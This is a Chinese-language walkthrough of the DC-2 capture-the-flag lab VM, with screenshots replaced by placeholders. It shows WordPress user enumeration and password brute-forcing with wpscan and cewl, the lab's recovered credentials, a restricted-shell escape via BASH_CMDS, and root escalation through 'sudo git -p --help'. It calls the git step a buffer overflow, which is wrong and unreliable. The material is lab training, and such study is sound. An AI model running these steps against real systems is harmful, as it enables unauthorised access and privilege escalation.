DC-2靶机

仅供个人娱乐

靶机信息

下载地址:http://www.five86.com/downloads/DC-2.zip

一、主机扫描

DC-2靶机

二、信息收集

DC-2靶机

修改hosts文件

windows:C:WindowsSystem32driversetc

linux:/etc/hosts

DC-2靶机

wpscan --url http://dc-2 --enumerate u

DC-2靶机
DC-2靶机

提示cewl 爬密码

cewl http://dc-2 > 1.txt

DC-2靶机

破解密码

wpscan --url http://dc-2 -U 2.txt -P 1.txt

DC-2靶机
DC-2靶机
DC-2靶机

登录账户信息收集

Username: jerry, Password: adipiscing

Username: tom, Password: parturient

DC-2靶机
DC-2靶机

尝试ssh登录  tom   parturient   7744

DC-2靶机

查看当前环境

echo $PATH

DC-2靶机

有问题找百度

添加环境变量

BASH_CMDS[a]=/bin/sh;a

export PATH=$PATH:/bin/          #添加$PATH,cat和su都在/bin下

export PATH=$PATH:/usr/bin           #sudo在/usr/bin下

cat flag3.txt

DC-2靶机

Username: jerry, Password: adipiscing

DC-2靶机

切换账户进行信息收集

DC-2靶机

sudo -l 查看权限

DC-2靶机

有git权限,git有一个缓冲区溢出漏洞,在使用sudo git -p --help时,不需要输入root密码即可以root权限执行这条命令

DC-2靶机

在末行命令模式输入 !/bin/bash 或 !'sh' 完成提权

!/bin/bash

DC-2靶机